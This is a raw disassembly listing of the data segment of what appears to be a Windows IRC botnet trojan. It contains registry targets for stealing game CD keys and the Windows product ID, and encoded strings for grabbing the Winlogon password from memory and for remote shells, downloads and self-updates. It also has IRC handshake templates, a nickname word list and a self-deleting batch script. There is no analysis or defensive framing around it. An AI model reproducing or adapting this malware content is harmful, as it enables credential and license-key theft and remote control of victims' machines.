aSoftwareEle_20 db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
aSoftwareIgi2Re db 'Software\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
aSoftwareUnreal db 'Software\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 10h
aSoftwareUnre_0 db 'Software\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 10h
aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 10h
aCustomernumber db 'CustomerNumber',0
align 10h
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 10h
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 10h
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: seg002:00442AACo
aCdkey db 'CDKey',0 ; DATA XREF: seg002:00442AA8o
align 10h
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg002:off_442AA4o
align 4
asc_436A18: ; DATA XREF: sub_4185EA+E7o
; sub_4185EA+F2o
unicode 0, <=>,0
dword_436A1C dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_4185EA+2Bo
dd 0
dd 234032Dh, 2636364h, 66202D03h, 656C6961h, 6F742064h
dd 6E657320h, 6F742064h, 6D655220h, 2065746Fh, 6D6D6F63h
dd 20646E61h, 6C656873h, 6Ch, 234032Dh, 2636364h, 66202D03h
dd 656C6961h, 6F742064h, 65706F20h, 6572206Eh, 65746F6Dh
dd 6D6F6320h, 646E616Dh, 65687320h, 6C6Ch, 234032Dh, 2636364h
dd 66202D03h, 656C6961h, 6F742064h, 65706F20h, 6F73206Eh
dd 74656B63h, 0
dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
dd 726F72h, 234032Dh, 2636364h, 66202D03h, 20656C69h, 73207325h
dd 20746E65h, 25206F74h, 25282073h, 79622073h, 29736574h
dd 2Eh, 234032Dh, 2636364h, 75202D03h, 6C62616Eh, 6F742065h
dd 65706F20h, 6F73206Eh, 74656B63h, 0
dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
dd 74756Fh, 43434401h, 4E455320h, 73252044h, 20692520h
dd 25206925h, 169h, 234032Dh, 2636364h, 66202D03h, 20656C69h
dd 73656F64h, 2074276Eh, 73697865h, 74h, 234032Dh, 2636364h
dd 66202D03h, 656C6961h, 6F742064h, 6E696220h, 6F742064h
dd 636F7320h, 74656Bh, 234032Dh, 2636364h, 66202D03h, 656C6961h
dd 6F742064h, 65726320h, 20657461h, 6B636F73h, 7465h, 234032Dh
dd 2636364h, 72202D03h, 69656365h, 20646576h, 66207325h
dd 206D6F72h, 28207325h, 62207325h, 73657479h, 2E29h, 234032Dh
dd 2636364h, 65202D03h, 726F7272h, 65706F20h, 676E696Eh
dd 636F7320h, 74656Bh, 234032Dh, 2636364h, 65202D03h, 726F7272h
dd 65706F20h, 676E696Eh, 6C696620h, 6F662065h, 72772072h
dd 6E697469h, 67h, 622B61h, 234032Dh, 2636364h, 65202D03h
dd 726F7272h, 616E7520h, 20656C62h, 77206F74h, 65746972h
dd 6C696620h, 6F742065h, 73696420h, 6Bh, 234032Dh, 6E776F64h
dd 64616F6Ch, 202D0302h, 20646162h, 206C7275h, 6420726Fh
dd 6520736Eh, 726F7272h, 20746120h, 2E7325h, 234032Dh
dd 6E776F64h, 64616F6Ch, 202D0302h, 61647075h, 66206574h
dd 656C6961h, 65202C64h, 726F7272h, 65786520h, 69747563h
dd 2520676Eh, 73h, 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h
dd 6E776F64h, 64616F6Ch, 25206465h, 4B66312Eh, 6F742042h
dd 20732520h, 2E252040h, 424B6631h, 6365732Fh, 7075202Ch
dd 69746164h, 6220676Eh, 746Fh, 234032Dh, 6E776F64h, 64616F6Ch
dd 202D0302h, 6E65706Fh, 25206465h, 73h, 234032Dh, 6E776F64h
dd 64616F6Ch, 202D0302h, 6E776F64h, 64616F6Ch, 25206465h
dd 2066312Eh, 7420424Bh, 7325206Fh, 25204020h, 2066312Eh
dd 732F424Bh, 6365h, 0
dd 3F500000h, 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h
dd 6E6F7277h, 72632067h, 25282063h, 3D212064h, 29642520h
dd 2Eh, 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E6F7277h
dd 69662067h, 6973656Ch, 2820657Ah, 21206425h, 6425203Dh
dd 2E29h, 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 20746F67h
dd 61647075h, 25206574h, 25282073h, 29424B64h, 2Eh, 234032Dh
dd 6E776F64h, 64616F6Ch, 202D0302h, 6E776F64h, 64616F6Ch
dd 25206465h, 25282073h, 29424B64h, 0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_4194B8:loc_4194FBo
; sub_41B98C+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_4194B8:loc_4194F5o
aDisk db 'Disk',0 ; DATA XREF: sub_4194B8:loc_4194EFo
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_4194B8:loc_4194E9o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_4194B8:loc_4194E3o
align 4
off_436E5C dd offset word_4D4152 ; DATA XREF: sub_4194B8:loc_4194DDo
dword_436E60 dd 3Fh ; DATA XREF: sub_4194B8+1Fo
aFailed db 'failed',0 ; DATA XREF: sub_419549:loc_419621o
; sub_419664+24o
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_419549+6Co
align 4
unk_436E74 db 2Dh ; - ; DATA XREF: sub_419664+7Do
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 10h
unk_436EB0 db 2Dh ; - ; DATA XREF: sub_419664+47o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
aA_1 db 'A:\',0 ; DATA XREF: sub_419725:loc_41975Bo
dword_436EF0 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
; DATA XREF: sub_419799+107o
dd 73252064h, 73255Ch
aS_3 db '%s\*',0 ; DATA XREF: sub_419799+14o
align 4
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFoundDFiles db 'found %d files',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
aMsgina db 'MSGINA',0
align 4
aNwgina db 'NWGINA',0
align 4
aWinlogon db 'WINLOGON',0
align 4
dword_436F78 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: seg000:00419EBFo
; seg000:00419FABo
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_436FC8 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: seg000:00419FC5o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h, 234032Dh, 646E6966h, 73736170h, 202D0302h, 6C696166h
dd 74206465h, 6E65206Fh, 656C6261h, 62656420h, 70206775h
dd 69766972h, 6567656Ch, 0
dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 62616E75h
dd 7420656Ch, 6966206Fh, 7720646Eh, 6F6C6E69h, 206E6F67h
dd 646970h, 234032Dh, 646E6966h, 73736170h, 202D0302h
dd 62616E75h, 7420656Ch, 6966206Fh, 7420646Eh, 70206568h
dd 77737361h, 2064726Fh, 6D206E69h, 726F6D65h, 79h, 0
dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 206F6E28h
dd 73736170h, 64726F77h, 2E2929h, 530055h, 520045h, 4F0044h
dd 41004Dh, 4E0049h, 0
aUsername:
unicode 0, <USERNAME>,0
align 10h
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0
align 4
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0
align 10h
aNtdll_dll db 'NTDLL.DLL',0
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_41C444+5Co
; sub_41C444+1E5o
align 10h
dword_4371F0 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 796C6E6Fh
dd 70757320h, 74726F70h, 6F206465h, 6977206Eh, 2F746E6Eh
dd 326E6977h, 6Bh, 7536h, 7535h, 7C75347Ch, 0
a4you db '{4you}',0 ; DATA XREF: seg002:00443360o
align 4
a4us db '|4us|',0 ; DATA XREF: seg002:0044335Co
align 10h
aSex4free db '|sex4free|',0 ; DATA XREF: seg002:00443358o
align 4
aLoloA db 'lolo|a|',0 ; DATA XREF: seg002:00443354o
aLol db 'lol',0 ; DATA XREF: seg002:00443350o
aTot db 'tot',0 ; DATA XREF: seg002:0044334Co
aMofo db 'mofo',0 ; DATA XREF: seg002:00443348o
align 4
aMof0 db 'mof0',0 ; DATA XREF: seg002:00443344o
align 4
aMuha db 'muha',0 ; DATA XREF: seg002:00443340o
align 4
aYeah db 'yeah',0 ; DATA XREF: seg002:0044333Co
align 4
aAha db 'aha',0 ; DATA XREF: seg002:00443338o
aShit db 'shit',0 ; DATA XREF: seg002:00443334o
align 4
aGurl db 'gurl',0 ; DATA XREF: seg002:00443330o
align 10h
aGirl db 'GIRL',0 ; DATA XREF: seg002:0044332Co
align 4
aBoy db 'BOY',0 ; DATA XREF: seg002:00443328o
aFree db 'Free',0 ; DATA XREF: seg002:00443314o
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: seg002:00443310o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: seg002:00443304o
align 4
aF db '^^^f^',0 ; DATA XREF: seg002:004432F8o
align 10h
aSad db 'Sad',0 ; DATA XREF: seg002:004432F4o
aLuvu db 'LUVU',0 ; DATA XREF: seg002:004432F0o
align 4
a___0 db '_|_',0 ; DATA XREF: seg002:004432D4o
aBbl db '|bbl',0 ; DATA XREF: seg002:004432C8o
align 4
off_4372D8 dd offset loc_425241+1 ; DATA XREF: seg002:004432C4o
aMuckc db 'muckc',0 ; DATA XREF: seg002:004432B0o
align 4
aTruck db 'truck',0 ; DATA XREF: seg002:004432ACo
align 4
aTrimy db 'trimy',0 ; DATA XREF: seg002:004432A8o
align 4
aLuvy db 'luvy',0 ; DATA XREF: seg002:004432A4o
align 4
aUi db 'ui',0 ; DATA XREF: seg002:004432A0o
align 10h
aSdf db 'sdf',0 ; DATA XREF: seg002:0044329Co
aRt db 'rt',0 ; DATA XREF: seg002:00443298o
align 4
aGf db 'gf',0 ; DATA XREF: seg002:00443294o
align 4
aTy db 'ty',0 ; DATA XREF: seg002:00443290o
align 10h
aRg db 'rg',0 ; DATA XREF: seg002:0044328Co
align 4
aHappy db 'happy',0 ; DATA XREF: seg002:00443288o
align 4
aRs db 'rs',0 ; DATA XREF: seg002:00443268o
align 10h
aQ8A db '|q8|a',0 ; DATA XREF: seg002:00443220o
align 4
aQ8 db 'Q8',0 ; DATA XREF: seg002:0044321Co
align 4
aSick db 'sick}}',0 ; DATA XREF: seg002:00443218o
align 4
aWiked db '|wiked|',0 ; DATA XREF: seg002:00443214o
aLuvuF db '||luvu-f|',0 ; DATA XREF: seg002:00443210o
align 4
aGens db '{gens|',0 ; DATA XREF: seg002:0044320Co
align 10h
aSex_0 db '{sex}',0 ; DATA XREF: seg002:00443208o
align 4
aHub db '{hub}',0 ; DATA XREF: seg002:00443204o
align 10h
aLuck db '|luck|',0 ; DATA XREF: seg002:00443200o
align 4
aSuck db '|suck|',0 ; DATA XREF: seg002:004431FCo
align 10h
aTot_0 db '-|tot|',0 ; DATA XREF: seg002:004431F8o
align 4
aWoh db '|woh|',0 ; DATA XREF: seg002:004431F4o
align 10h
aTambe db '|tambe|',0 ; DATA XREF: seg002:004431F0o
aLag db 'lag',0 ; DATA XREF: seg002:004431ECo
aBad db 'bad',0 ; DATA XREF: seg002:004431E8o
aTree db 'tree',0 ; DATA XREF: seg002:004431E4o
align 4
aZex db 'zex',0 ; DATA XREF: seg002:004431E0o
aLez db 'lez',0 ; DATA XREF: seg002:004431DCo
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: seg002:004431D4o
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: seg002:004431D0o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: seg002:004431CCo
align 10h
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: seg002:004431C8o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: seg002:004431C4o
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: seg002:004431C0o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: seg002:004431BCo
align 10h
aRerpjj db 'RERPJJ',0 ; DATA XREF: seg002:004431B8o
align 4
aCem39 db 'cem39',0 ; DATA XREF: seg002:004431B4o
align 10h
aCool30m db 'cool30m',0 ; DATA XREF: seg002:004431B0o
aTropikal db 'tropikal',0 ; DATA XREF: seg002:004431ACo
align 4
aPassenger db 'passenger',0 ; DATA XREF: seg002:004431A8o
align 10h
aNeHaber db 'NE-HABER',0 ; DATA XREF: seg002:004431A4o
align 4
aUla db 'ula',0 ; DATA XREF: seg002:004431A0o
aIzmirlm db 'izmirlm',0 ; DATA XREF: seg002:0044319Co
aAkden db 'akden',0 ; DATA XREF: seg002:00443198o
align 10h
aKoray db 'KORAY',0 ; DATA XREF: seg002:00443194o
align 4
aAta29 db 'Ata29',0 ; DATA XREF: seg002:00443190o
align 10h
aFirtina db 'firtina',0 ; DATA XREF: seg002:0044318Co
aAdamm33 db 'AdAMM33',0 ; DATA XREF: seg002:00443188o
aM41ist db 'M41IST',0 ; DATA XREF: seg002:00443184o
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: seg002:00443180o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: seg002:0044317Co
align 4
aAnkm db 'ankM',0 ; DATA XREF: seg002:00443178o
align 4
aErkan db 'erkan',0 ; DATA XREF: seg002:00443174o
align 4
aDevre db 'devre',0 ; DATA XREF: seg002:00443170o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: seg002:0044316Co
align 4
aBirsen db 'birsen',0 ; DATA XREF: seg002:00443168o
align 4
aA44m db 'a44m',0 ; DATA XREF: seg002:00443164o
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: seg002:00443160o
align 4
off_4374B8 dd offset byte_4B5245 ; DATA XREF: seg002:0044315Co
aSevda db 'sevda',0 ; DATA XREF: seg002:00443158o
align 4
aKotan db 'kotan',0 ; DATA XREF: seg002:00443154o
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: seg002:00443150o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: seg002:0044314Co
align 10h
aKapk db 'kapk',0 ; DATA XREF: seg002:00443148o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: seg002:00443144o
align 4
aHayran db 'hayran',0 ; DATA XREF: seg002:00443140o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: seg002:0044313Co
align 4
aAnkar db 'Ankar',0 ; DATA XREF: seg002:00443138o
align 10h
aDjspace db 'DJSPACE',0 ; DATA XREF: seg002:00443134o
aAnk32M db 'ANK-32-M',0 ; DATA XREF: seg002:00443130o
align 4
aUmut db 'umut-',0 ; DATA XREF: seg002:0044312Co
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: seg002:00443128o
align 4
aKumul db 'kumul',0 ; DATA XREF: seg002:00443124o
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: seg002:00443120o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: seg002:0044311Co
align 10h
aSeviseli db 'SeViSeLi',0 ; DATA XREF: seg002:00443118o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: seg002:00443114o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: seg002:00443110o
align 10h
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: seg002:0044310Co
align 10h
aMahinur db 'MAHINUR',0 ; DATA XREF: seg002:00443108o
aHoly db 'holy',0 ; DATA XREF: seg002:00443104o
align 10h
aFlord db 'FLoRD',0 ; DATA XREF: seg002:00443100o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: seg002:004430FCo
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: seg002:004430F8o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: seg002:004430F4o
align 4
aEmre db 'Emre--',0 ; DATA XREF: seg002:004430F0o
align 10h
aRamtha db 'RAMTHA',0 ; DATA XREF: seg002:004430ECo
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: seg002:004430E8o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: seg002:004430E4o
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: seg002:004430E0o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: seg002:004430DCo
aArda db 'arda',0 ; DATA XREF: seg002:004430D8o
align 4
aDevran db 'devran',0 ; DATA XREF: seg002:004430D4o
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: seg002:004430D0o
aDenizlim db 'DenizliM',0 ; DATA XREF: seg002:004430CCo
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: seg002:004430C8o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: seg002:004430C4o
align 10h
aBogac db 'bogac',0 ; DATA XREF: seg002:004430C0o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: seg002:004430BCo
align 4
aAnkh db 'ankh',0 ; DATA XREF: seg002:004430B8o
align 4
off_43764C dd offset byte_457441 ; DATA XREF: seg002:004430B4o
aAyla db 'AYLA-',0 ; DATA XREF: seg002:004430B0o
align 4
aAlbina db 'albina',0 ; DATA XREF: seg002:004430ACo
align 10h
aIzmir39m db 'Izmir39m',0 ; DATA XREF: seg002:004430A8o
align 4
aZack db 'ZACK',0 ; DATA XREF: seg002:004430A4o
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: seg002:004430A0o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: seg002:0044309Co
align 4
aAhmet db 'ahmet',0 ; DATA XREF: seg002:00443098o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: seg002:00443094o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: seg002:00443090o
align 4
aRetg db 'RETG',0 ; DATA XREF: seg002:0044308Co
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: seg002:00443088o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: seg002:00443084o
aAslii db 'aslii',0 ; DATA XREF: seg002:00443080o
align 4
aErnesto db 'ERNESTO',0 ; DATA XREF: seg002:0044307Co
aHaticem db 'haticem',0 ; DATA XREF: seg002:00443078o
aArzu db 'ARZU',0 ; DATA XREF: seg002:00443074o
align 10h
aSudenur db 'SUDENUR',0 ; DATA XREF: seg002:00443070o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: seg002:0044306Co
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: seg002:00443068o
align 10h
aTekir db 'tekir',0 ; DATA XREF: seg002:00443064o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: seg002:00443060o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: seg002:0044305Co
align 4
aMelekk db 'melekk',0 ; DATA XREF: seg002:00443058o
align 4
aAkin db 'AKIN',0 ; DATA XREF: seg002:00443054o
align 4
aMary_0 db 'MARY',0 ; DATA XREF: seg002:00443050o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: seg002:0044304Co
aTolga34 db 'Tolga34',0 ; DATA XREF: seg002:00443048o
aMisssunday db 'misssunday',0 ; DATA XREF: seg002:00443044o
align 10h
aIrmal db 'irmal',0 ; DATA XREF: seg002:00443040o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: seg002:0044303Co
align 4
aBerk19 db 'berk19',0 ; DATA XREF: seg002:00443038o
align 10h
aHexaaa db 'hexaaa',0 ; DATA XREF: seg002:00443034o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: seg002:00443030o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: seg002:0044302Co
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: seg002:00443028o
align 4
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: seg002:00443024o
align 4
aKencing db 'Kencing',0 ; DATA XREF: seg002:00443020o
aReshma db 'reshma',0 ; DATA XREF: seg002:0044301Co
align 4
aCamel db 'CAMEL',0 ; DATA XREF: seg002:00443018o
align 4
aGirl_0 db 'GirL',0 ; DATA XREF: seg002:00443014o
align 4
aImra db 'imra',0 ; DATA XREF: seg002:00443010o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: seg002:0044300Co
align 4
aPuregold db 'puregold',0 ; DATA XREF: seg002:00443008o
align 4
aKermit db 'kermit',0 ; DATA XREF: seg002:00443004o
align 4
aManee db 'manee',0 ; DATA XREF: seg002:00443000o
align 4
aTroller db 'troller',0 ; DATA XREF: seg002:00442FFCo
aLuisa db 'Luisa',0 ; DATA XREF: seg002:00442FF8o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: seg002:00442FF4o
align 10h
aRimpy db 'rimpy',0 ; DATA XREF: seg002:00442FF0o
align 4
aJanno db 'janno',0 ; DATA XREF: seg002:00442FECo
align 10h
aBunty db 'bunty',0 ; DATA XREF: seg002:00442FE8o
align 4
aHeval db 'heval',0 ; DATA XREF: seg002:00442FE4o
align 10h
aCme db 'cme',0 ; DATA XREF: seg002:00442FE0o
aMarcy db 'marcy',0 ; DATA XREF: seg002:00442FDCo
align 4
aTalika db 'talika',0 ; DATA XREF: seg002:00442FD8o
align 4
aShez db 'Shez',0 ; DATA XREF: seg002:00442FD4o
align 4
aKen db 'ken',0 ; DATA XREF: seg002:00442FD0o
aFlexster db 'flexster',0 ; DATA XREF: seg002:00442FCCo
align 4
aKoko db 'koko',0 ; DATA XREF: seg002:00442FC8o
align 4
aMale db 'male',0 ; DATA XREF: seg002:00442FC4o
align 4
aSwin db 'swin',0 ; DATA XREF: seg002:00442FC0o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: seg002:00442FBCo
aKrizha db 'KRIZHA',0 ; DATA XREF: seg002:00442FB8o
align 4
aEmilya db 'emilya',0 ; DATA XREF: seg002:00442FB4o
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: seg002:00442FB0o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: seg002:00442FACo
aFarooq db 'farooq',0 ; DATA XREF: seg002:00442FA8o
align 4
aSmartmir db 'SMARTMIR',0 ; DATA XREF: seg002:00442FA4o
align 4
aM_1: ; DATA XREF: seg002:00442FA0o
; seg002:004432ECo
unicode 0, <M>,0
aN_0: ; DATA XREF: seg002:00442F9Co
unicode 0, <N>,0
aB: ; DATA XREF: seg002:00442F98o
unicode 0, <B>,0
aV_0: ; DATA XREF: seg002:00442F94o
unicode 0, <V>,0
aC_3: ; DATA XREF: seg002:00442F90o
unicode 0, <C>,0
asc_4378C8: ; DATA XREF: seg002:00442F8Co
; seg002:00443320o
unicode 0, <X>,0
aZ: ; DATA XREF: seg002:00442F88o
unicode 0, <Z>,0
asc_4378D0: ; DATA XREF: seg002:00442F84o
unicode 0, <L>,0
aK_0: ; DATA XREF: seg002:00442F80o
unicode 0, <K>,0
aJ_0: ; DATA XREF: seg002:00442F7Co
unicode 0, <J>,0
asc_4378DC: ; DATA XREF: seg002:00442F78o
unicode 0, <H>,0
aG: ; DATA XREF: seg002:00442F74o
unicode 0, <G>,0
aF_0: ; DATA XREF: seg002:00442F70o
; seg002:004432E8o
unicode 0, <F>,0
aD_2: ; DATA XREF: seg002:00442F6Co
unicode 0, <D>,0
aS_10: ; DATA XREF: seg002:00442F68o
unicode 0, <S>,0
aP_0: ; DATA XREF: seg002:00442F60o
unicode 0, <P>,0
aO_0: ; DATA XREF: seg002:00442F5Co
unicode 0, <O>,0
aU_0: ; DATA XREF: seg002:00442F54o
unicode 0, <U>,0
aY: ; DATA XREF: seg002:00442F50o
unicode 0, <Y>,0
aT_0: ; DATA XREF: seg002:00442F4Co
unicode 0, <T>,0
aR_0: ; DATA XREF: seg002:00442F48o
unicode 0, <R>,0
aE_0: ; DATA XREF: seg002:00442F44o
unicode 0, <E>,0
aW: ; DATA XREF: seg002:00442F40o
unicode 0, <W>,0
aQ_0: ; DATA XREF: seg002:00442F3Co
unicode 0, <Q>,0
aB_0: ; DATA XREF: seg002:00442F30o
; seg002:00443224o ...
unicode 0, <b>,0
asc_437918: ; DATA XREF: seg002:00442F24o
; seg002:0044327Co
unicode 0, <x>,0
aZ_0: ; DATA XREF: seg002:00442F20o
; seg002:00443284o ...
unicode 0, <z>,0
asc_437920: ; DATA XREF: seg002:00442F10o
; seg002:0044323Co
unicode 0, <h>,0
aG_0: ; DATA XREF: seg002:00442F0Co
; seg002:00443238o ...
unicode 0, <g>,0
aF_1: ; DATA XREF: seg002:00442F08o
; seg002:00443234o
unicode 0, <f>,0
aY_0: ; DATA XREF: seg002:00442EECo
; seg002:00443280o
unicode 0, <y>,0
aW_0: ; DATA XREF: seg002:00442EDCo
; seg002:00443278o
unicode 0, <w>,0
align 8
dbl_437938 dq -1.52587890625e-4 ; DATA XREF: sub_41A293+3EFr
dbl_437940 dq 3.0517578125e-4 ; DATA XREF: sub_41A293+3CFr
dbl_437948 dq -3.0517578125e-4 ; DATA XREF: sub_41A293+34Cr
; sub_41A293+3B1r
dbl_437950 dq 1.52587890625e-4 ; DATA XREF: sub_41A293+27Er
dbl_437958 dq -1.739501953125e-3 ; DATA XREF: sub_41A293+258r
; sub_41A293+2E8r ...
dbl_437960 dq 3.11279296875e-3 ; DATA XREF: sub_41A293+E0r
a__1 db '-|`_\{[]}',0 ; DATA XREF: sub_41A293+BAo
; sub_41A293+17Cr ...
align 8
dbl_437978 dq 3.0517578125e-5 ; DATA XREF: sub_41A293+ACr
; sub_41A293+139r ...
dbl_437980 dq 6.103515625e-5 ; DATA XREF: sub_41A293+90r
; sub_41A293+317r
dbl_437988 dq 2.288818359375e-3 ; DATA XREF: sub_41A293+21r
aNickS_1 db 'NICK %s',0Ah,0 ; DATA XREF: sub_41A6AE+C1o
align 4
a432 db '432',0 ; DATA XREF: sub_41A6AE+86o
aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_41A6AE+65o
align 4
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: seg000:0041A83Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41ACD0+72o
align 10h
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_41AE17+1Ao
align 10h
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_41AEBB+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41AEDD+140o
align 10h
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41AEDD+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_41AEDD+48o
align 10h
unk_437A80 db 2Dh ; - ; DATA XREF: sub_41B065+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 10h
